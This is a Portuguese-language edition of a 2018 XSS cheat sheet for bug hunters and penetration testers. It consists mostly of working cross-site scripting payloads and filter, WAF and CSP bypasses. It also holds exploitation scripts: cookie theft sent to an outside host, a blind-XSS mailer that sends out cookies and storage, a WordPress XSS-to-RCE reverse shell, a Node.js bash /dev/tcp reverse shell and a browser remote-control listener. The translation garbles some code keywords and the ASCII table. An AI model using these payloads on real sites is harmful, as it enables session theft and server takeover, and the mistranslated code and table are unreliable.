2018 EDITION

From the experts who gave us
KNOXSS - XSS Discovery Service

XSS CHEAT SHEET

A powerful small guide to
deal with Cross-Site Scripting
in web application bug hunting
and security assessments

RODOLFO ASSIS (BRUTE)

Dedicado a todos os visitantes do meu site
https:// brutelogic.com.br
que ajudei
com a primeira versão online desta folha de
dicas e me incentivou a fazer este trabalho.

Isenção de responsabilidade

Nós, autor e editor, não somos responsáveis pelo uso deste material ou pelos danos causados pela aplicação das informações fornecidas neste livro.

Introdução

Esta folha de dicas deve ser usada por caçadores de bugs, testadores de penetração, analistas de segurança, estudantes de segurança de aplicativos da web e entusiastas.

Trata-se de Cross-Site Scripting (XSS), a falha mais difundida e comum encontrada na World Wide Web. Você deve estar familiarizado com (pelo menos) os conceitos básicos dessa falha para aproveitar este livro. Para isso você pode visitar meu blog em https://brutelogic.com.br/blog/xss101 para iniciar.

Há muito trabalho feito neste campo e não é o propósito deste livro cobrir todos eles. O que você verá aqui é o conteúdo XSS criado ou selecionado por mim. Eu tentei selecionar o que eu acho que é a informação mais útil sobre esse universo, na maioria das vezes usando material do meu próprio blog que é dedicado a essa mesma falha de segurança.

IMPORTANTE: se você não obteve isso no site do Leanpub, visite o URL https://leanpub.com/ xss e considere baixar sua própria cópia para ser notificado automaticamente quando uma nova revisão for lançada com correções e material atualizado/novo. Será tudo gratuito se você não estiver disposto a pagar por isso.

A estrutura deste livro é muito simples porque é uma folha de dicas. Possui disciplinas principais (Básico, Avançado, etc) e uma taxonomia para cada situação. Em seguida, vêm as instruções para usar o código logo após, que vem uma por linha quando na forma de um vetor ou carga útil. Alguns são scripts completos, também com seu uso devidamente explicado.

Lembre-se de que talvez seja necessário adaptar algumas das informações apresentadas aqui ao seu próprio cenário (como aspas simples para duplas e vice-versa). Embora eu tente lhe dar instruções sobre isso, qualquer comportamento específico não imaginado de seu aplicativo de destino pode influenciar o resultado.

Uma última dica: siga as instruções rigorosamente. Se algo é apresentado em HTML, é porque foi feito para ser usado dessa forma. Caso contrário, provavelmente é um código javascript que pode ser usado (respeitando a sintaxe) tanto em HTML quanto diretamente no código js existente. A menos que seja dito o contrário.

Espero sinceramente que se torne um material de consultoria fácil de seguir para a maioria das suas necessidades relacionadas a XSS. Aproveitar!

Rodolfo Assis (Bruto)

Sobre este lançamento

Você está lendo a Revisão 1.

Esse é o primeiro lançamento de 2018 e mais 2 lançamentos estão planejados ao longo do ano com pequenas correções, informações atualizadas e importantes adições perdidas a este trabalho.

Se você obteve esta cópia por meios oficiais (site Leanpub), você será notificado por e-mail assim que um novo lançamento for lançado. Se você não fez isso, considere visitar https://leanpub.com/xss para fazer isso.

Esta versão inclui código que funciona nas últimas versões estáveis dos principais navegadores baseados em Gecko (ramificações Mozilla Firefox) e navegadores baseados em Webkit (Google Chrome, Opera e Apple Safari).

As versões atuais desses navegadores são: Firefox v58, Chrome v63, Opera v50 e Safari v11.
Se você encontrar algo que não funciona como esperado ou qualquer correção que você acha que deve ser feita, por favor me avise @brutelogic (Twitter), fb.com/brutelogic (facebook) ou envie um e-mail para brutelogic em null dot net.

O Microsoft Edge e o Internet Explorer, embora também os principais navegadores, não são cobertos nesta versão (ainda).

Sobre o autor

Rodolfo Assis, também conhecido como “Brute Logic” (ou apenas “Brute” como seu avatar) é um hacker autodidata do Brasil que trabalha como pesquisador e consultor autônomo de segurança da informação.

Ele é mais conhecido por fornecer algum conteúdo no Twitter (@brutelogic) nos últimos anos em vários tópicos de hacking, incluindo mentalidade de hacking, técnicas, microcódigo (que cabe em um tweet) e algumas coisas engraçadas relacionadas a hacking. Atualmente seu principal interesse e pesquisa envolve Cross Site Scripting (XSS), a falha de segurança mais difundida da web.

Brute ajudou a corrigir mais de 1000 vulnerabilidades XSS em aplicações web em todo o mundo através da plataforma Open Bug Bounty (antigo XSSposed). Alguns deles incluem grandes players da indústria de tecnologia como Oracle, LinkedIn, Baidu, Amazon, Groupon e Microsoft.

Contratado para trabalhar com a respectiva equipe, ele foi um dos colaboradores que melhorou o Website Application Firewall (CloudProxy) da Sucuri de 2015 a 2017, tendo adquirido muita experiência de campo em vulnerabilidades da web e evasão de segurança.

Ele está atualmente gerenciando, mantendo e desenvolvendo um serviço de descoberta XSS online, chamado KNOXSS (https://knoxss.me). Já ajudou vários caçadores de bugs a encontrar bugs e ser recompensado assim como seu blog (https://brutelogic.com.br).

Sempre solidário, Brute é orgulhosamente um exemplo vivo da seguinte filosofia:

Não aprenda a hackear, #hack2learn.

Resumo

Fundamentos

Contexto HTML – Injeção de tag simples Use
quando a entrada estiver dentro do valor de um atributo de uma tag HTML ou fora da tag, exceto as descritas no próximo caso.

<svg onload=alert(1)>
"><svg onload=alert(1)>

Contexto HTML – Injeção de tag em bloco Use
quando a entrada estiver dentro ou entre a abertura/fechamento das seguintes tags: <title><style><script><textarea><noscript><pre><xmp> e <iframe> *(</ tag>* é de acordo).

</tag><svg onload=alert(1)> "></
tag><*svg* onload=alert(1)>

Contexto HTML – Injeção Inline Use
quando a entrada estiver dentro do valor de um atributo de uma tag HTML, mas essa tag não pode ser terminada por um sinal de maior que (>).

"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//

Contexto HTML – Injeção de fonte Use
quando a entrada chegar como um valor dos seguintes atributos de tag HTML: href, src, data ou action (também formação). Para src na tag de script, use uma chamada de script externo (URL) ou “data:,alert(1)”. O segundo payload abaixo alerta fora do contexto do alvo para navegadores Webkit.

javascript:alert(1)
data:text/html,<svg onload=alert(1)>

Contexto Javascript – Injeção de código Use
quando a entrada for em um bloco de script, dentro de um valor delimitado por string.

'-alert(1)-' '-
alert(1)//

Contexto Javascript – Injeção de Código com Escape Bypass Use
quando a entrada chegar a um bloco de script, dentro de um valor delimitado por string, mas as aspas são escapadas por uma barra invertida.

\'-alerta(1)//

Contexto Javascript – Injeção de Código em Bloco Lógico Use a
1ª ou 2ª carga útil quando a entrada chegar em um bloco de script, dentro de um valor delimitado por string e dentro de um único bloco lógico como função ou condicional (if, else, etc). Se a citação for escapada com uma barra invertida, use a terceira carga útil.

'}alert(1);{' '}
alert(1)%0A{' \'}
alert(1);{//

Contexto Javascript – Injeção de tag Use
quando a entrada chegar a qualquer lugar em um bloco de script.

</script><svg onload=alert(1)>

Avançado

Reflexão múltipla - Reflexão dupla (entrada única)
Use para aproveitar vários reflexos na mesma página.

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1=' */
alert(1)</script><script>/*

Múltipla Reflexão - Reflexão Tripla (Entrada Única)
Use para aproveitar vários reflexos na mesma página.

/alert(1)">'onload="/<svg/1=' `-
alert(1)">'onload="`<svg/1=' */</
script>'>alert(1)/*<script/1='

Reflexões de múltiplas entradas (duplas e triplas)
Use para aproveitar várias reflexões de entrada na mesma página.

p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>

Injeção de upload de arquivo – Nome do arquivo Use quando o nome do arquivo carregado for refletido em algum lugar na página de destino.

"><svg onload=alert(1)>.gif

Injeção de upload de arquivo – metadados
Use quando os metadados do arquivo carregado são refletidos em algum lugar na página de destino. Ele usa exiftool de linha de comando e qualquer campo de metadados pode ser definido.

brute@logic:~$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg

Injeção de upload de arquivo – Arquivo SVG Use para criar um XSS armazenado no destino ao fazer upload de arquivos de imagem. Salve o conteúdo abaixo como “xss.svg”.

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

DOM Insert Injection
Use para testar o XSS quando a injeção for inserida no DOM como uma marcação válida em vez de ser refletida no código-fonte. Funciona para casos em que a tag de script e outros vetores não funcionam.

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>

DOM Insert Injection – Requisição de Recurso
Use quando o código javascript da página insere na página o resultado de uma requisição para uma URL controlada pelo atacante (injeção).

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

PHP_SELF Injection Use
quando a URL atual for usada pelo código PHP subjacente do destino como um valor de atributo de um formulário HTML, por exemplo. Injete entre a extensão php e o início da parte da consulta (?) usando uma barra inicial (/).

https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader

Injeção de script – Sem fechamento
Use quando houver uma tag de script de fechamento (</script>) em algum lugar do código após a reflexão.

<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>

Javascript postMessage() Injeção de DOM (com Iframe)
Use quando houver um ouvinte de evento “message” como em “window.addEventListener('message', ...)” no código javascript sem uma verificação de origem. O alvo deve poder ser enquadrado (cabeçalho X-Frame Options de acordo com o contexto). Salve como arquivo HTML (ou usando data:text/html) fornecendo TARGET_URL e INJECTION (um vetor XSS ou payload).

<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">

XSS baseado em

XML Use para injetar vetor XSS em uma página XML (tipos de conteúdo text/xml ou application/xml).

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> <x:script xmlns:x="http://www.w3 .org/1999/xhtml" src="//brutelogic.com.br/1.js"/>

Injeção de modelo do lado do cliente
Use para testar a injeção de modelo do lado do cliente (útil para injeções de AngularJS abaixo). Ele deve retornar 1024 ao renderizar.

{{32*32}}

AngularJS Injections (v1.6 e superior)
Use quando houver uma biblioteca AngularJS carregada na página, dentro de um bloco HTML com a diretiva ng-app ou criando sua própria.

{{constructor.constructor('alert(1)')()}} <x ng-app>{{constructor.constructor('alert(1)')()}}

CRLF Injection Use
quando o aplicativo refletir a entrada em um dos cabeçalhos de resposta, permitindo a injeção de caracteres Carriage Return (%0D) e Line Feed (%0A). Vetores para Gecko e Webkit, respectivamente.

%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A
%3Cscript%3Ealert(1)%3C/script%3E

%0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection
%3a0%0D%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E

Filtro Desviar

XSS de maiúsculas e minúsculas

Use para ignorar os filtros que diferenciam maiúsculas de minúsculas.

<Svg OnLoad=alerta(1)>
<Script>alerta(1)</Script>

Tags não
fechadas Use em injeções de HTML para evitar a filtragem com base na presença de sinais menor que (<) e maior que (>). Requer um sinal nativo maior que o código-fonte após a reflexão de entrada.

<svg onload=alert(1)//
<svg onload="alert(1)"

XSS em letras
maiúsculas Use quando o aplicativo refletir a entrada em letras maiúsculas.

<SVG ONLOAD=&#97&#108&#101&#114&#116(1)> <SCRIPT
SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>

Conteúdo extra para tags de script
Use quando o filtro procurar por “<script>” ou “<script src=...” com algumas variações, mas sem verificar outros atributos não necessários.

<script/x>alerta(1)</script>

XSS codificado duplo
Use quando o aplicativo executar a decodificação dupla da entrada.

%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

Alerta sem parênteses (somente strings)
Use em um vetor HTML ou injeção de javascript quando os parênteses não são permitidos e uma simples caixa de alerta é suficiente.

alerta`1`

Alerta sem parênteses Use em
um vetor HTML ou injeção de javascript quando parênteses não são permitidos e o PoC precisa retornar qualquer informação de destino.

setInterval`alert\x28document.domain\x29`
setTimeout`alert\x28document.domain\x29`

Alerta sem parênteses (Tag Exclusive)
Use apenas em injeções de HTML quando parênteses não são permitidos. Substitua “&” por “%26” em URLs.

<svg onload=alert(1)> <svg
onload=alert(1&#41>

Alerta sem caracteres alfabéticos Use
quando caracteres alfabéticos não forem permitidos. Segue alerta(1).

```
[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154
\145\162\164\50\61\51')()
```

Ofuscação de alerta

Use para enganar vários filtros de expressão regular (regex). Pode ser combinado com alternativas anteriores (acima). A opção mais curta “top” também pode ser substituída por “window”, “parent”, “self” ou “this” dependendo do contexto.

```
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1) top[/
al/.source+/ert/.source](1 )
al\u0065rt(1) top['al\145rt'](1)
top[8680439..toString(30)](1)
```

Injeção de upload de arquivo – Disfarce de GIF HTML/js
Use para ignorar o CSP por meio do upload de arquivo. Salve todo o conteúdo abaixo como “xss.gif” ou “xss.js” (para verificação rigorosa de MIME). Ele pode ser importado para a página de destino com <link rel=import href=xss.gif> (também “xss.js”) ou <script src=xss.js></script>. É imagem/gif para PHP.

```
GIF89a=//<script>
alert(1)//</script>;
```

Ir para fragmento de URL Use
quando precisar ocultar alguns caracteres de sua carga útil que acionariam um WAF, por exemplo. Ele faz uso do respectivo formato de carga após o fragmento de URL (#).

```
eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror= alerta(1)>

* (somente Webkit)
<svg/onload=innerHTML=location.hash> #<img/src/onerror=alert(1)>
```

Separadores alternativos de HTML
Use quando os espaços padrão não são permitidos. Barra e aspas (simples ou duplas) também podem ser codificadas em URL (%2F, %27 e %22, respectivamente), enquanto o sinal de mais (+) pode ser usado apenas em URLs.

Esquema de
tags: <*nome* [1] *atributo* [2] = [3] *valor* [4] *manipulador* [5] = [6] *js* [7]>

```
[1], [2], [5] => %09, %0A, %0C, %0D, %20, / e +
[3] & [4] => %09, %0A, %0C, %0D, %20, + e '                    ou " em ambos
[6] & [7] => %09, %0A, %0B, %0C, %0D, %20, /, + e '                    ou " em ambos
```


Desvio baseado em tags de
remoção Use quando o filtro remove qualquer coisa entre os caracteres < e >. Somente injeção em linha.

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//

Injeção XSS de Segunda Ordem
2 Use quando sua entrada for usada duas vezes, como armazenada normalizada em um banco de dados e depois recuperada para uso posterior ou inserida no DOM.

<svg/onload=alert(1)>

Ignorar a origem do evento para postMessage() XSS Use
quando uma verificação de origem puder ser ignorada no código javascript do destino, anexando
uma das origens permitidas como um subdomínio do domínio de ataque que enviará a carga útil. O exemplo
faz uso do script Crosspwn (disponível na seção Miscellaneous) em localhost.

http://facebook.com.localhost/crosspwn.php? target=//
brutelogic.com.br/tests/status.html&msg=<script>alert(1)</script>

CSP Bypass (para domínios do Google na lista de permissões)
Use quando houver um CSP (Política de segurança de conteúdo) que permita a execução desses domínios.

<script src=https://www.google.com/complete/search?client=chrome %26jsonp=alert(1);></
script> <script src=https://ajax.googleapis.com/ajax/ libs/angularjs/1.6.0/angular.min.js> </
script><x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}

Vetores sem manipuladores de eventos
Use como uma alternativa aos manipuladores de eventos, se eles não forem permitidos. Alguns requerem
interação do usuário conforme indicado no próprio vetor (também faz parte deles).

<script>alert(1)</script> <script
src=data:,alert(1)> <iframe
src=javascript:alert(1)> <embed
src=javascript:alert(1)> <a
href=javascript :alert(1)>clique em
<math><brute href=javascript:alert(1)>clique em <form
action=javascript:alert(1)><input type=submit> <isindex
action=javascript:alert(1) type =enviar valor=clique> <form><button
formaction=javascript:alert(1)>clique <form><input formaction=javascript:alert(1)
type=enviar valor=clique> <form><input formaction=javascript: alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE> <isindex
formaction=javascript:alert(1) type=submit value=click> <object data=javascript:alert(1)> <iframe
srcdoc=<svg/o&#x6Eload=alert(1)>> <svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>clique

Vetores com manipuladores de eventos agnósticos Use os seguintes vetores quando todos os nomes de marca HTML conhecidos não forem permitidos. Qualquer caractere alfabético ou string pode ser usado como nome de tag no lugar de “x”. Eles requerem a interação do usuário conforme indicado pelo próprio conteúdo de texto (que também faz parte dos vetores).

```
<x contenteditable onblur=alert(1)>perca o foco! <x
onclick=alert(1)>clique aqui! <x oncopy=alert(1)>copie isto!
<x oncontextmenu=alert(1)>clique com o botão direito aqui!
<x oncut=alert(1)>copie isso! <x ondblclick=alert(1)>clique
duas vezes aqui! <x ondrag=alert(1)>arraste isto! <x
contenteditable onfocus=alert(1)>concentre-se nisso! <x
contenteditable oninput=alert(1)>insira aqui! <x
contenteditable onkeydown=alert(1)>pressione qualquer
tecla! <x contenteditable onkeypress=alert(1)>pressione
qualquer tecla! <x contenteditable onkeyup=alert(1)>pressione
qualquer tecla! <x onmousedown=alert(1)>clique aqui! <x
onmousemove=alert(1)>passe o mouse! <x onmouseout=alert(1)>passe
o mouse! <x onmouseover=alert(1)>passe o mouse! <x
onmouseup=alert(1)>clique aqui! <x contenteditable
onpaste=alert(1)>cole aqui!
```

Comentários alternativos de Javascript
Use quando comentários regulares de javascript (barras duplas) não são permitidos, escapados ou removidos.

```
<!--
%0A-->
```


Exploração

Remote Script Call Use
quando você precisar chamar um script externo, mas seu vetor XSS for baseado em manipulador (como <svg onload=) ou em injeções de javascript. O domínio “brutelogic.com.br” juntamente com arquivos HTML e js são usados como exemplos.

1. Baseado em HTML (a resposta deve ser HTML com um cabeçalho Access-Control-Allow-Origin (CORS))

```
"var x=new XMLHttpRequest();x.open('GET','//brutelogic.com.br/0.php');x.send();
x.onreadystatechange=function(){if(this. readyState==4){write(x.responseText)}}"

fetch('//brutelogic.com.br/0.php').then(function(r){r.text().then(function(w) {write(w)})})


* (com biblioteca JQuery totalmente
carregada) $.get('//brutelogic.com.br/0.php',function(r){write(r)})
```

2. Baseado em Javascript (a resposta deve ser javascript)

```
with(document)body.appendChild(createElement('script')).src='//brutelogic.com.br/2.j s'


* (com biblioteca JQuery totalmente
carregada) $.getScript('//brutelogic.com.br/2.js')
```

Wordpress XSS para RCE (até v4.9.1)
Use-o como um script remoto para executar quando o administrador do Wordpress recebe XSSed com um ouvinte como netcat na porta 5855. O plug-in “Hello Dolly” é o alvo aqui, mas quase qualquer outro plug-in pode ser usado, alterando o arquivo e o caminho de acordo.

```
p = '/wordpress/wp-admin/plugin-editor.php?'; q =
'arquivo=olá.php'; s = '<?=`nc localhost 5855 -e /bin/
bash`;';

a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.enviar();


$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] + '&newcontent=' +
s + '&action=update&' + q;

b = novo XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); b.enviar($);


b.onreadystatechange = function(){ if
   (this.readyState == 4) { fetch('/wordpress/
      wp-content/plugins/hello.php'); } }
```


Blind XSS Mailer Use-
o como um script remoto XSS cego salvando como arquivo PHP e alterando $to e $headers vars de acordo. Um servidor de correio em funcionamento precisa estar presente.

```
<?php header("Tipo de conteúdo: aplicativo/javascript"); ?>

var mailer = '<?php echo "//" . $_SERVER["SERVER_NAME"] .
$_SERVER["REQUEST_URI"] ?>';

var msg = 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' + document.URL;
msg += '\n\nURL DE REFERÊNCIA\n' + document.referrer + '\n\nCOOKIES LEGÍVEIS\n' +
document.cookie; msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) +
'\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage); msg += '\n\nDOCUMENTO
COMPLETO\n' + document.documentElement.innerHTML;



var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Tipo de conteúdo', 'aplicativo/x-www-form-urlencoded');
r.send('origin=' + document.location.origin + '&msg=' + encodeURIComponent(msg));


<?php

header("Access-Control-Allow-Origin: " . $_POST["origem"]);

$origem = $_POST["origem"]; $to
= "meuNome@meuDominio";
$subject = "Relatório cego XSS para " . $origem; $ip
= "Solicitante: " . $_SERVER["REMOTE_ADDR"] . "\nEncaminhado para: ".
$_SERVER["HTTP_X_FORWARDED_FOR"]; $msg =
$assunto. "\n\nENDEREÇO IP\n" . $ip . "\n\n" . $_POST["mensagem"];
$headers = "De: report@myDomain" . "\r\n";

if ($origin && $msg)
   { mail($to, $subject, $msg, $headers); }


?>
```

Invisible Foreign XSS Embedding Use
para carregar um XSS de outro domínio (ou subdomínio) no atual.
Restrito pelo cabeçalho X-Frame-Options (XFO) do alvo. Exemplo abaixo alertas no contexto brutelogic.com.br independente do domínio.

```
<iframe src="//brutelogic.com.br/xss.php?a=<svg onload=alert(document.domain)>"
style=display:none></iframe>
```

Roubo de cookies
Use para obter todos os cookies do usuário vítima definidos pelo site de destino. Ele não pode obter cookies protegidos pelo sinalizador de segurança httpOnly.

```
fetch('//brutelogic.com.br/?c='+document.cookie)
```


Desfiguração Virtual Simples
Use para alterar como o site aparecerá para a vítima fornecendo o código HTML. No exemplo abaixo, uma mensagem “Not Found” é exibida.

```
<svg onload="documentElement.innerHTML='<h1>Não encontrado</h1>'">
```

Controle remoto do

navegador Use para conectar o navegador e enviar comandos javascript para ele de forma interativa. Use o código javascript abaixo em vez de alert(1) em sua injeção com um terminal tipo Unix aberto com o seguinte shell script (ouvinte). Forneça um HOST como um nome de host, endereço IP ou domínio para receber comandos da máquina invasora.

Javascript:

```
setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:5855'},100)
```

Ouvinte:

```
bruto@logic:~$ while :; imprima "j$"; leia c; eco $c | nc -lp 5855 >/dev/null; feito
```


Diversos

Página de teste on-line
XSS Use para praticar vetores XSS e cargas úteis. Verifique o código-fonte para pontos de injeção.

https://brutelogic.com.br/xss.php

Injeção de HTML com reconhecimento de filtro multicaso
Use como uma única tentativa para obter taxas de XSS bem-sucedidas mais altas.

```
"'</Script><Html /Onmouseover=(alert)(1) //
```

Javascript Execution Delay Use
quando uma biblioteca javascript ou qualquer outro recurso necessário para injeção não estiver
totalmente carregado na execução do payload. Uma chamada externa baseada em JQuery é usada como exemplo.

```
onload=function(){$.getScript('//brutelogic.com.br/2.js')}
onload=x=>$.getScript('//brutelogic.com.br/2.js')
```

Origem válida para tags de imagem
Use quando precisar de um atributo src válido para acionar um evento onload em vez de um erro
1.

```
<img
src= onload=alert(1)>
```

XSS mais curto
Use quando você tiver um slot limitado para injeção. Requer um script nativo (já presente no código-fonte) chamado com o caminho relativo colocado após o local da injeção.
O servidor atacante deve responder com script de ataque para a solicitação exata feita pelo script nativo (mesmo caminho) ou em uma página 404 padrão (mais fácil). Quanto menor o domínio, melhor.

```
<base href=//knoxss.me>
```

Manipuladores de eventos somente para
dispositivos móveis Use ao direcionar aplicativos para dispositivos móveis.

```
<html ontouchstart=alert(1)> <html
ontouchend=alert(1)> <html
ontouchmove=alert(1)> <body
onorientationchange=alert(1)>
```

Body Tag
Uma coleção de vetores de corpo. O último funciona apenas para navegadores da Microsoft.

```
<body onload=alert(1)> <body
onpageshow=alert(1)> <body
onfocus=alert(1)> <body
onhashchange=alert(1)><a href=%23x>clique aqui!#x <body
estilo=overflow:auto;height:1000px onscroll=alert(1) id=x>#x <corpo
onscroll=alert(1)><br><br><br><br><br><br><br><br <br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br> br><br><br><br><br><br> <br><x id=x>#x
<body onresize=alert(1)>pressione F12! <body onhelp=alert(1)>pressione F1!
```


Vetores XSS menos conhecidos
Uma coleção de vetores XSS menos conhecidos.

<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)> <audio src
onloadstart=alert(1)> <video onloadstart=alert(1)><source>
<input autofocus onblur =alert(1)> <keygen autofocus
onfocus=alert(1)> <form onsubmit=alert(1)><input
type=submit> <selecione onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>clique com o
botão direito em mim!

Script de origem cruzada (Crosspwn)
Salve o conteúdo abaixo como arquivo .php e use da seguinte forma:

http://facebook.com.localhost/crosspwn.php? target=//
brutelogic.com.br/tests/status.html&msg=<script>alert(document.domain)

Onde “facebook.com” é uma origem permitida e “localhost” é o domínio de ataque, “//brutelogic.com.br/
tests/status.html” é a página de destino e “<script>alert(document.domain)” é a mensagem enviado.

Outro uso é para disparar manipuladores de evento onresize e onhashchange body sem interação do usuário:

http://localhost/crosspwn.php?target=//brutelogic.com.br/xss.php? a=<body/
onresize=alert(document.domain)>

E para encurtar e ocultar a carga útil injetada, o campo extra “nome” pode ser usado.

http://localhost/crosspwn.php?target=//brutelogic.com.br/xss.php? a=<svg/
onload=eval(name)>&name=alert(document.domain)

Código:

```
<!DOCTYPE html> <body
onload="crossPwn()"> <h2>CrossPwn</
h2> <iframe src="<?php echo
htmlentities($_GET['target'], ENT_QUOTES) ?>" name=" <?php echo $_GET['name'] ?>" height="0"
style="visibility:hidden"></iframe> <script> function crossPwn() { frames[0].postMessage('<?php echo
$_GET["msg"] ?>','*'); // onmessage document.getElementsByTagName('iframe')[0].setAttribute('height',
'1'); // onresize document.getElementsByTagName('iframe')[0].src = '<?php echo $_GET["target"] ?>'
    + '#brute'; // onhashchange




} </script>
</body> </
html>
```


Simple XSS Finder Script para PHP (Análise Estática)
Use para encontrar possíveis falhas de XSS no código-fonte do PHP. Para sistemas do tipo Unix: salve o conteúdo abaixo, permita a execução e execute com ./filename. Funciona para arquivo único e recursivo (pasta e subpastas).

```
if [ -z $1 ]
então echo
   -e "Uso:\n$0 ARQUIVO\n$0 -r PASTA" exit else
   f=$1 fi




sources=(GET POST REQUEST "SERVER\['PHP" "SERVER\['PATH_" "SERVER\
['REQUEST_U") sinks=(? echo die print printf print_r var_dump)


xssam()
   { para i em ${sources[@]}
   faça
      a=$(grep -in "\$_${i}" $f | grep -o "\$.*=" | sed "s/[ ]\?=//g" | sort -u) para j in $
      {sinks[@]} do grep --color -in "${j}.*\$_${i}" $f for k in $a do grep --color -in "$
      {j}. *$k" $f feito feito feito









}

se [ $f != "-r" ]
então
   Olá
else
   for i in $(find $2 -type f -name "*.php") faça
   echo "File: $i" f=$i


      Olá
   feito
fi
```

Node.js RCE
Use para execução de comandos em aplicativos Node.js vulneráveis. Forneça um HOST como um nome de host, endereço IP ou domínio para receber o shell reverso do servidor vulnerável.

Javascript:
```
require('child_process').exec('bash -c "bash -i >& /dev/tcp/HOST/5855 0>&1"')
```

Ouvinte:

```
bruto@logic:~$ nc -lp 5855
```


Tabela de Codificação ASCII

Lembre-se de substituir "&" e "#" nas URLs
por sua versão codificada (%26 e %23, respectivamente).

	Entidade HTML	js
Caracteres	URL Nome(s) de codificação	Número Octal Hexa Unicode
0 NULL %00		&#00; \00 \x00 \u0000 &#01;
1 SOH %01		\01 \x01 \u0001 &#02; \02 \x02
2 STX %02		\u0002 &#03; \03 \x03 \u0003
3 ETH 03%		&#04; \04 \x04 \u0004 &#05;
4 EOT %04		\05 \x05 \u0005 &#06; \06 \x06
5 ENQ %05		\u0006 &#07; \07 \x07 \u0007
6 ACK %06		&#08; \10 \x08 \u0008
7BEL % **07**		
8 BS %08		
9 TAB %09 \11 \x09 \u0009		
10 LF %0A &NovaLinha;
\12 \x10 \u000A		
11 VT %0B &#11; \13 \x11 \u000B  \14 \x12 \u000C
\15		
12FF %0C		\x13 \u000D &#14; \16 \x14
13 CR %0D		\u000E &#15; \17 \x15 \u000F
14 SO %0E		&#16; \20 \x16 \u0010 &#17;
15 SI %0F		\21 \x17 \u0011 &#18; \22 \x18
16 DE ACORDO COM %10		\u0012 &#19; \23 \x19 \u0013
17 DC1% 11		&#20; \24 \x20 \u0014 &#21;
18 DC2% 12		\25 \x21 \u0015 &#22; \26 \x22
19 DC3% 13		\u0016 &#23; \27 \x23 \u0017
20 DC4% 14		&#24; \30 \x24 \u0018 &#25;
21 QUERO %15		\31 \x25 \u0019 &#26; \32 \x26
22 SEU % 16		\u001A &#27; \33 \x27 \u001B
23 ETB %17		&#28; \34 \x28 \u001C &#29;
24 PODE% 18		\35 \x29 \u001D &#30; \36 \x30
25 EM %19		\u001E &#31; \37 \x31 \u001F
26 SUB% 1A		\40 \x32 \u0020 !
27 ESC %1B		\41 \x33 \u0021 " \42 \x34
28 FE %1C		\u0022
29 GS % 1D		
30 RS% 1E		
31 EUA %1F		
32 Espaço %20		
33 ! %21 ! %22 "		
34 "	" %23 #	
35 #	**36** $ %24 $	# \43 \x35 \u0023 $
37 % %25 % **38** & %26 & &		\44 \x36 \u0024 % \45 \x37
%27 ' %28 (		\u0025 & \46 \x38 \u0026
39 '		' \47 \x39 \u0027 (
40 (		\50 \x40 \u0028

41)		%29)		) \51 \x41 \u0029 * \52			
42 *		%2A* *		\x42 \u002A			
43 +		%2B &mais;		+ \53 \x43 \u002B , \54			
44	,	%2C &vírgula;		\x44 \u002C - \55 \x45 \u002D			
45-		%2D &menos;		. \56 \x46 \u002E / \57			
46	.	%2E.		\x47 \u002F 0 \60 \x48 \u0030			
47 /		%2F/sol;		1 \61 \x49 \u0031 2 \62			
48 0		%30		\x50 \u0032 3 \63 \x51 \u0033			
49 1		% 31		4 \64 \x52 \u0034 5 \65			
50 2		% 32		\x53 \u0035 6 \66 \x54 \u0036			
51 3		% 33		7 \67 \x55 \u0037 8 \70			
52 4		% 34		\x56 \u0038 9 \71 \x57 \u0039			
53 5		% 35		: \72 \x58 \u003A ; \73			
54 6		% 36		\x59 \u003B < \74 \x60 \u003C			
55 7		% 37		= \75 \x61 \u003D			
56 8		%38					
57 9		% 39					
58 :		%3A &dois pontos;					
59 ;		%3B ;					
60 <		%3C < <					
61 = %3D &igual; **62** >							
		%3E > > > \76 \x62 \u003E					
63 ?		%3F ? ? \77 \x63 \u003F **64** @ %40 @					
@ \100 \x64 \u0040							
65 A %41 A		\101 \x65 \u0041 B \102 \x66 \u0042 C \103 \x67					
66B _		%42		\u0043 D \104 \x68 \u0044			
67C _		%43		O \105 \x79 \u0045 F \106			
68D _		%44		\x70 \u0046 G \107 \x71			
79 E		%45		\u0047 H \110 \x72 \u0048			
70 F		% 46		I \111 \x73 \u0049 J \112			
71 G		%47		\x74 \u004A K \113 \x75			
72H _		%48		\u004B L \114 \x76 \u004C			
